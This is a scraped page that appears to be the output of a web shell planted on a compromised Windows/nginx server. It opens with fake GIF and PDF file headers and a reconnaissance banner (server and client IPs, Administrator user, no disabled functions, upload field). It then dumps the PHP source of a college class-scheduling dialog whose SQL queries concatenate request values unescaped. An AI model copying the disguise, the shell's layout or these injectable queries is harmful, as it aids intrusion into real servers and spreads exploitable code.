GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/Schedule/MoveClass/ |
Upload File : |
<? // Schedule/MoveClassDialog/MoveClassDialog.phpinc // Create and return Move Class dialog html t_Begin(); // Begin TRACKing MoveClassDialog.phpinc. d_V(false,'+'); // Get weekdays. $weekdaysD = array(); $weekdaysNumber = array(); require('site/get_weekdays.phpinc'); d_Var('$weekdayResult',$weekdayResult); if ( $weekdayCount ) { query_seek($weekdayResult, 0); while ($weekdayInfo = query_row($weekdayResult)) { $weekdayD = $weekdayInfo['weekdayD']; $weekdaysD[$weekdayD] = array(); $weekdaysD[$weekdayD]['weekdayId'] = $weekdayInfo['weekdayId']; $weekdaysD[$weekdayD]['weekdayNumber'] = $weekdayInfo['weekdayNumber']; $weekdaysD[$weekdayD]['weekdayDay'] = $weekdayInfo['weekdayDay']; $weekdaysD[$weekdayD]['weekdayWeekday'] = $weekdayInfo['weekdayWeekday']; $weekdayNumber = $weekdayInfo['weekdayNumber']; $weekdaysNumber[$weekdayNumber] = array(); $weekdaysNumber[$weekdayNumber]['weekdayId'] = $weekdayInfo['weekdayId']; $weekdaysNumber[$weekdayNumber]['weekdayD'] = $weekdayInfo['weekdayD']; $weekdaysNumber[$weekdayNumber]['weekdayDay'] = $weekdayInfo['weekdayDay']; $weekdaysNumber[$weekdayNumber]['weekdayWeekday'] = $weekdayInfo['weekdayWeekday']; } } d_Var('$weekdaysD',$weekdaysD); d_Var('$weekdaysNumber',$weekdaysNumber); // Get departmentCode, courseNumber and courseTitle. $query = " SELECT departmentCode , courseNumber , courseTitle FROM `scheduleclass` JOIN `course` ON course.courseId = scheduleclass.courseId JOIN `department` ON department.departmentId = course.departmentId WHERE scheduleclassId = ".$f['scheduleclassId']." "; d_Var('scheduleclassInfo',$query,'q'); $scheduleclassInfo = query_info($query); d_Var('$scheduleclassInfo',$scheduleclassInfo); // Get scheduleclass sections. $query = " SELECT scheduleclassSection FROM `scheduleclasssection` WHERE scheduleclassId = ".$f['scheduleclassId']." ORDER BY scheduleclassSection "; d_Var('scheduleclasssectionResult',$query,'q'); $scheduleclasssectionResult = query_do($query); $scheduleclasssectionCount = $GLOBALS['_QUERY']['count']; d_Var('$scheduleclasssectionResult',$scheduleclasssectionResult); if ( $scheduleclasssectionCount ) { $scheduleclasssections = query_to_list($scheduleclasssectionResult); } else { $scheduleclasssections = ''; } d_Var('$scheduleclasssections',$scheduleclasssections); if ( $scheduleclasssections ) { $section = ' Section '; if ( $scheduleclasssectionCount > 1 ) { $section .= 's'; } } else { $section = ''; } // Get scheduleclassmeetings. $query = " SELECT scheduleclassmeetingId , scheduleclassId , scheduleclassmeetingBeginTime , scheduleclassmeetingEndTime , IFNULL(scheduleclassmeetingOnCampus, 1) AS scheduleclassmeetingOnCampus FROM `scheduleclassmeeting` WHERE scheduleclassmeetingId = ".$f['scheduleclassmeetingId']." "; d_Var('scheduleclassmeetingInfo',$query,'q'); $scheduleclassmeetingInfo = query_info($query); d_Var('$scheduleclassmeetingInfo',$scheduleclassmeetingInfo); // Get scheduleclassmeetingweekdays $query = " SELECT scheduleclassmeetingweekday.weekdayId , weekdayD FROM `scheduleclassmeetingweekday` JOIN `weekday` ON weekday.weekdayId = scheduleclassmeetingweekday.weekdayId WHERE scheduleclassmeetingId = ".$f['scheduleclassmeetingId']." ORDER BY weekdayNumber "; d_Var('scheduleclassmeetingweekdayResult',$query,'q'); $scheduleclassmeetingweekdayResult = query_do($query); $scheduleclassmeetingweekdayCount = $GLOBALS['_QUERY']['count']; //d_Var('$scheduleclassmeetingweekdayResult',$scheduleclassmeetingweekdayResult,'d'); // Get day from. // $f['divId'] == 'calendar_class_8_M600' $divIdParts = explode('_',$f['divId']); $scId = $divIdParts[2]; $from_day = substr($divIdParts[3],0,1); $from_mTime = substr($divIdParts[3],1); $difference_day = $weekdaysD[$f['droppedIn_day']]['weekdayNumber'] - $weekdaysD[$from_day]['weekdayNumber']; $difference_mTime = $f['droppedIn_mTime'] - $from_mTime; d_Var('$from_day',$from_day); d_Var('$from_mTime',$from_mTime); d_Var('$difference_day',$difference_day); d_Var('$difference_mTime',$difference_mTime); d_Var("strtotime(\$scheduleclassmeetingInfo['scheduleclassmeetingBeginTime'])",strtotime($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime']));d_Var("strtotime(\$scheduleclassmeetingInfo['scheduleclassmeetingEndTime'])",strtotime($scheduleclassmeetingInfo['scheduleclassmeetingEndTime'])); if ( $difference_mTime >= 0 ) $difference_mTime = '+'.$difference_mTime; d_Var('$difference_mTime',$difference_mTime); $new_beginTime = date('H:i:s',strtotime($difference_mTime." minutes", strtotime($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime']))); $new_endTime = date('H:i:s',strtotime($difference_mTime." minutes", strtotime($scheduleclassmeetingInfo['scheduleclassmeetingEndTime']))); d_Var('$new_beginTime',$new_beginTime); d_Var('$new_endTime',$new_endTime); ?> <fieldset id="fldMoveClassMeetings"> <legend onmouseover="ttShow('<div class="actionback nowrap">Mouse-down / drag / drop to move.</div>')" onmouseout="ttHide();" class="drag_cursor"><?=$_SESSION['ROOT']['http']?>Move <span style="display: inline-block; background-image:url(<?=$_SESSION['ROOT']['http']?>/images/mousemove.png); width: 23px;"> </span> Class</legend> <form name="Schedule_form" id="frmSchedule_form" action="<?=$_SESSION['ROOT']['http']?>/Schedule/" method="post"> <input type="hidden" name="form" value="Schedule_form"> <input type="hidden" name="uuid" value="<?=uuid()?>"> <input type="hidden" name="scheduleclassId" value="<?=$f['scheduleclassId']?>"> <input type="hidden" name="scheduleclassmeetingId" value="<?=$f['scheduleclassmeetingId']?>"> <input type="hidden" name="difference_day" value="<?=$difference_day?>"> <input type="hidden" name="difference_mTime" value="<?=$difference_mTime?>"> <!--<input type="hidden" name="scheduleclassmeetingId" value="<?=$f['scheduleclassmeetingId']?>"> <input class="small float_right upMargin" type="button" value="Close" onClick="Cl oseDialogDiv();" onMouseOver="ttShow('Close, do not move class meetings.');" onMouseOut="ttHide();">--> <span class="nowrap">Move <b><?=$scheduleclassInfo['departmentCode']?><?=$scheduleclassInfo['courseNumber']?> <?=$scheduleclassInfo['courseTitle']?></b> <?=$section?><?=$scheduleclasssections?> class meetings:</span> <? $weekdayNumberMin = 0; $weekdayNumberMax = 6; if ( $_SESSION['user']['calendar_dayview'] == 'Work week' ) { $visibleWeekdayNumberMin = 1; $visibleWeekdayNumberMax = 5; } else { $visibleWeekdayNumberMin = 0; $visibleWeekdayNumberMax = 6; } #d_Var('$weekdayNumberMin',$weekdayNumberMin,'d'); #d_Var('$weekdayNumberMax',$weekdayNumberMax,'d'); if ( $scheduleclassmeetingweekdayCount ) { // Are there weekdays? // Check for error or warning. $error = false; $warning = false; $problemWeekdayD = ''; query_seek($scheduleclassmeetingweekdayResult, 0); while ($scheduleclassmeetingweekdayInfo = query_row($scheduleclassmeetingweekdayResult)) { $weekdayD = $scheduleclassmeetingweekdayInfo['weekdayD']; $new_weekdayNumber = $weekdaysD[$weekdayD]['weekdayNumber'] + $difference_day; if ( !$error && ( $new_weekdayNumber < $weekdayNumberMin || $new_weekdayNumber > $weekdayNumberMax ) ) { $error = true; $problemWeekdayD = $weekdaysNumber[$weekdaysD[$weekdayD]['weekdayNumber']]['weekdayD']; } if ( !$error && !$warning && ( $new_weekdayNumber < $visibleWeekdayNumberMin || $new_weekdayNumber > $visibleWeekdayNumberMax ) ) { $warning = $weekdayD; $problemWeekdayD = $weekdaysNumber[$new_weekdayNumber]['weekdayD']; } } if ( !$error ) { // Is there an error? if ( $warning ) { ?> <br><br> <span class="warn">Your move would change the <span class="weekday"><?=$warning?></span> meeting to <span class="weekday"><?=$problemWeekdayD?></span>, a day not visible with the current Schedule view.</span> <br> <? } query_seek($scheduleclassmeetingweekdayResult, 0); while ($scheduleclassmeetingweekdayInfo = query_row($scheduleclassmeetingweekdayResult)) { // Calculate new day for meeting. //$difference_day $weekdayD = $scheduleclassmeetingweekdayInfo['weekdayD']; $new_weekdayNumber = $weekdaysD[$weekdayD]['weekdayNumber'] + $difference_day; //d_Var('$weekdayD',$weekdayD,'d'); #d_Var('$new_weekdayNumber',$new_weekdayNumber,'d'); #d_Var('$_SESSION',$_SESSION,'d'); $inputId = 'chk_moveMeeting_'.$weekdayD; $inputName = 'moveMeeting_'.$scheduleclassmeetingweekdayInfo['weekdayId']; ?> <br><label for="<?=$inputId?>"><input type="checkbox" class="movemeetingcheckbox" name="<?=$inputName?>" id="<?=$inputId?>" onClick="MoveClass_DialogClick(this);" value="<?=$weekdayD?>" data-moved-day="<?=$weekdaysNumber[$new_weekdayNumber]['weekdayD']?>" checked> Move the <span class="weekday"><?=$weekdayD?></span> <?=valid_time($scheduleclassmeetingInfo['scheduleclassmeetingBeginTime'],'US')?> - <?=valid_time($scheduleclassmeetingInfo['scheduleclassmeetingEndTime'],'US')?> meeting to <span class="weekday"><?=$weekdaysNumber[$new_weekdayNumber]['weekdayD']?></span> <?=valid_time($new_beginTime,'US')?> - <?=valid_time($new_endTime,'US')?></label> <? } ?> <br><br><? button('Move meetings','','','','','btn_MoveMeetings', !$error); ?> <? } else { // Is there an error? ?> <br><br> <span class="error nowrap">Error: Your move would change the <span class="weekday"><?=$problemWeekdayD?></span> meeting to an invalid day.</span> <br><br> <? } // Is there an error? } else { // Are there weekdays? ?> <br><span class="error nowrap">PROGRAMMING ERROR! There are no days for this meeting.</span> <br><br> <? } ?> <? button('Cancel','',"MoveCLass_Cancel(".$scId.");"); ?> </form> </fieldset> <div style="display:none;">Load OK</div> <div id="fldMeetings"></div><!-- Used by AddClassMeeting[] and ScheduleClassDialog_SetWidth[] may not need to be here. --> <? #d_On('foot'); t_End(); // End TRACKing MoveClassDialog.phpinc. ?>